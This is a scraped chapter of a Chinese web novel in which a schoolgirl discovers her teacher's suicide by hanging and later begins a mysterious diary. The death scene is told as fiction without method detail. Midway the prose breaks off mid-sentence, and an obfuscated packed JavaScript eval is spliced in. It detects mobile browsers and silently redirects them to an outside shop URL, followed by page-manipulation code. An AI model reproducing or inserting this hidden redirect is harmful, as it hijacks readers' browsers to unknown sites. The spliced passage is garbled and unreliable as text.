金鱼飞过旧夏天/十二山君
第一章对不起
二零一七年二月二十七日，高考百日誓师大会。
艾蓝路。
锦城二中大礼堂的正前方挂着红灿灿的横幅，上面气昂昂写着“雄关漫道真如铁，而今迈步从头越”。黎遇打了个哈欠，泪珠往眼眶一聚，那十四个字便模糊起来。
隔壁班几个男生脑袋聚在一起，偷偷嬉笑，黎遇偏头看了他们一眼，瞥见旁边的女生正紧皱眉头，捂着肚子。
她轻轻戳戳余珂，“去不去卫生间？”
台上换了学生代表讲话。
“各位领导，各位同学，大家好，我是高三三班的朱锐……”
余珂长了一张巴掌大的瓜子脸，眼睛溜溜往前瞧，但又怯怯道：“老师让去吗？上面正讲话……”
“人有三急，该去卫生间还是要去的。”黎遇抻了抻腿，率先勾着腰站起身，从后门小跑着出去。
初春已经来了，新枝还没有绿透。
大礼堂的卫生间坏了，最近的在对面的行政楼，两个姑娘跺跺脚，呼出一口白气，绕过中央孔子像，走入行政楼一层。楼里静悄悄的，大多数老师都在礼堂。鞋底踩在灰色的地砖上，听着也显得冰冰凉凉的。
黎遇听到隔间的余珂敲敲塑料隔板，小声问自己，“你带卫生巾了吗？”
“没有呢，你来大姨妈了？”
“嗯……提前了快十天，完全没准备。”
“你等我。”黎遇推开门，在掌心打了些洗手液，在手上搓起了泡沫。
“谢谢你。”余珂很不好意思，从这里到小卖部走路来回起码要十分钟，外面还很冷。
黎遇却说：“我刚才过来的时候，看到苏老师的办公室好像开着门，她应该在里面，我先去问问她。”
黎遇往学生办事处走去，办公室的门依旧露着一条虚缝。她敲了敲，“苏老师？”
可是里头安安静静。和外面一样。
北方城市的冷风尚且在作祟，冷空气好像总有一股铁锈的味道。黎遇陡然觉得楼道里凉飕飕的。
“苏老师，我进来喽。”
可是手指刚在碰到门上，忽地，背后“啪嗒”一声。
黎遇微惊，转头，原来是墙上优秀教师相框上的一个钉子弯了，相框一边垮了下来，教师的笑容摇摇欲坠。
她摸了摸心口，再回头时，办公室的铁门已经被北风吹开了。
门吱扭扭地转，办公室的窗帘拉着，不太亮堂。
黎遇的视线从下往上。
她看见了一双晃荡的高跟鞋。
*
余珂蹲在卫生间里，听见了一阵凄厉的尖叫。
叫声充斥着恐惧，打在楼道尽头的墙壁上，有了回音。她立刻跟着害怕起来。
“黎遇？是你吗？”
没人应答，余珂又低低喊了两声黎遇的名字，已经有了些哭腔。
她不敢一个人站在卫生间里，提上裤子就往外跑。
阴凉的楼道里，黎遇瘫坐在地上，捂着耳朵一动不动。
她跑过去，往里面看。
办公室的天花板上挂着吊扇，吊扇下面挂着一个女人，正背对着她。
女人有一头柔顺的长发，脑袋耷拉着，四肢软绵绵地垂下，肩膀塌陷，腰肢纤细，左脚上的黑色高跟鞋因为吃不上力而掉下来，只剩下鞋头还晃晃荡荡地吊在脚趾上。
粗糙的麻绳在轻飘飘地转悠。她的身体跟随变动方向。
女人衣着鲜丽，只是风吹动时，她的裙摆飘动显得空荡荡。
单薄得像一张纸。
余珂的心里已经渐渐清晰地书写出一个名字。可她张着嘴，喉咙像是被人狠狠掐着，怎么也发不出声音来。
女人还在冷风中伶仃摇晃。
苏芸的脸慢吞吞地转过来的时候，余珂注意到，她的眼睛甚至都没有闭上。
或许她在死亡时没有任何挣扎，此刻低敛着眉目，竟然显得慈和。
余珂双手挡住脸，却不敢再看第二眼，低下头干呕。
黎遇突然猛地惊醒，浑身忍不住颤抖，她双手伏地，艰难起身，“我……我要去找保安。”
余珂拽住她的胳膊，不肯一个人待在这里，双腿发软，忙道：“我也去，我也要去。”
*
黎彦尧驱车和父母一起等在警局门口。晚上六点半，班主任领着两个姑娘走出来。黎遇穿着一件棕色棉服外套，可好像还是很冷，紧紧抱着双臂，一张小脸惨白，双目无神，可还知道哆嗦着跟老师道别。
章锦与黎劭丰心疼不已，小跑着将女儿拥在怀里，
黎遇把头埋在妈妈的臂弯里，嗫嚅了几声之后开始嚎啕大哭。
“不怕不怕……曈曈，不怕啊，爸爸妈妈还有哥哥都在呢。”
黎彦尧沉着一张脸，护住妹妹的肩膀。黎遇哭了半晌抬起脸，抽噎着说不出一句完整的话，但他还是听清了。
妹妹说：“我、我……是不是叫保安叫迟了？”
他的心脏重重向下坠。
远处的警局在夜晚中沉默。
比较七年前，门口多了两个石狮子。
*
黎遇回家泡了个热水澡，穿着睡衣缩在妈妈身边，到了晚上十点，黎彦尧给她热了一杯牛奶，她喝完不肯动，过了一会儿小声说：“妈妈，我晚上想跟你睡。”
她不敢闭上眼睛，一旦让自己浸入黑暗，她的眼前便会出现那双浮在空中的高跟鞋，还有垂下来遮住苏芸半张脸的黑色长发。
黎遇的眼睛哭得肿肿的，眼角还有泪珠，黎彦尧坐到她对面，用纸巾蹭了蹭她的双眼，用捏着她的鼻子，“擤。”
黎遇推开哥哥的手，“脏死了。”
“你小时候更脏，我还给你换过尿布，你知不知道？”
“那是以前。”
黎遇嘟囔道：“我只记得我小时候你揍过我。”
黎彦尧罕见地没跟她计较，扮演着贴心的好哥哥。替她洗了牛奶杯子之后顿了顿，有些生硬地说：“曈曈，我们下午跟副校长通过电话了，苏——苏芸早在你们发现她之前就死了，人救不活是因为她选择自杀，跟你一点儿关系都没有。”
黎遇的眼泪又掉下来。
她用袖口蹭掉，听到哥哥继续叹声道：“你还是没成年的孩子，已经很坚强了。”
黎遇当晚睡在妈妈身边也睡得不踏实，她辗转反侧，好不容易睡着便开始磨牙，呓语，在睡梦中尖叫着惊醒，反复三四次后在凌晨五点多的时候吐了一回。章锦替女儿请了三天的假，心理健康最重要。家里就生了这一个姑娘，他们从小将她捧在手心长大，哪里舍得她受这样的惊吓。
章锦计划几日连续变着花样给黎遇做好吃的，黎彦尧就在本地医科大读博，趁此机会回家吃饭跟着享福，顺道把自己的游戏账号还借给了妹妹。
可黎遇不想玩游戏，她指着哥哥紧闭的书房门，“我能看你的武侠小说吗？”
哥哥好不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342741|199430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
容易大度一回，她把自己关在家里不愿意出门，整整看了两天书。郭靖变成了大侠，又死在了襄阳。第三日晚上，她给手机充电，第一次有勇气打开班级群聊。
不出意外，认识的不认识的，上百条未读信息，全是来问她苏芸自杀的详情，黎遇都没有回复。但聊天记录里显示下午五点时余珂给她发来一条消息。
是一则新闻链接。
本市公安局公布了锦城二中女教师死亡信息。
黎遇坐在沙发角落里读完了全文，其中细节她不想再多看，只不过也是今天看了公安发布才知道原来苏芸当时自杀前在自己裙子的内衬里放了一张纸条。
上面只有三个字——
对不起。
余珂看见黎遇上线，立刻发来消息。
「你觉得苏老师是在跟谁说对不起？」
黎遇沉默。她设身处地地想了想，如果她选择结束自己的生命，那么对不起的只有细心养护她的父母。死了的人不会再感到疼痛，因为那是活着的人在承受。
余珂表示同意。
「你现在有空吗？」
「嗯。」
余珂很快打电话过来，黎遇躲在卧室，将门关上，接起来。
“我表姐说她今天在医院看见苏老师父母了，他们看上去年纪很大了，身体也不是很好，听说苏老师的哥哥娶了外地媳妇，离锦城很远，他们家其实就只有苏老师一个人挣钱，现在人死了，好可怜……”
黎遇闭上眼睛，小声问：“余珂，你做噩梦了吗？”
“……做了。”
她不明白，连死都不怕，还有什么不敢面对的呢？
*
哥哥的书柜最右边那一列放着几本他当年高中时候用的笔记本。黎遇拿出来好奇翻了翻，哥哥字迹龙飞凤舞，看上去杂乱无章，实际上都是易错的知识重点。奇怪的是，其中一本干干净净，崭新得如同刚买回来。黎彦尧下午回家时，黎遇问他能不能这个蓝色皮面本子送给自己。
黎彦尧斜眼，蓝皮本封面上印着一只小兔子，他故意逗她，“你在家多待两天，我这书房是不是要被你搬空了？”
“小气死了。”黎遇撇嘴，把本子塞回他手里，突然狗鼻子一样在空气中嗅了嗅，“你是不是抽烟了？真难闻。”
“给你给你，都给你。”妹妹嘴撅得能挂油瓶，黎彦尧见她转头要去厨房告状，赶紧拉住，把书柜玻璃门打开，“还有我以前用的错题本，也都给你。”
黎遇心想我可是比你成绩好，但她转念又回忆起当年哥哥似乎化学分数很亮眼，便故作犹豫矜持地接过了那几本笔记。
晚上睡觉前，黎遇拿出新本子，她最近思绪多，想用日记写下来。
这个本子沉甸甸的，样式简单，但看上去价格不菲。黎遇在第一页画了一个太阳，然后在下面用粉色的彩笔写下：
「曈曈的秘密」
翻过一页，她标上今天的日期。
黎遇偶尔有写日记的习惯，大多时候都是孩子气的奇思妙想，毫无章法和逻辑。落下最后一个字后，她盖上笔帽，吹了吹墨迹，关掉台灯，跑回到主卧，躺在妈妈身边。
她的卧室窗帘没有完全掩上，月光溜进来，在屋内劈下一道光影，明暗就此分开。
黎遇的新日记本还敞开着。
在她永没有注意到的地方，笔记最后画下的那个句号笔墨正在一点点透过。
纸张变得像是一层厚海绵，句号渗进去，彻底消失在表面。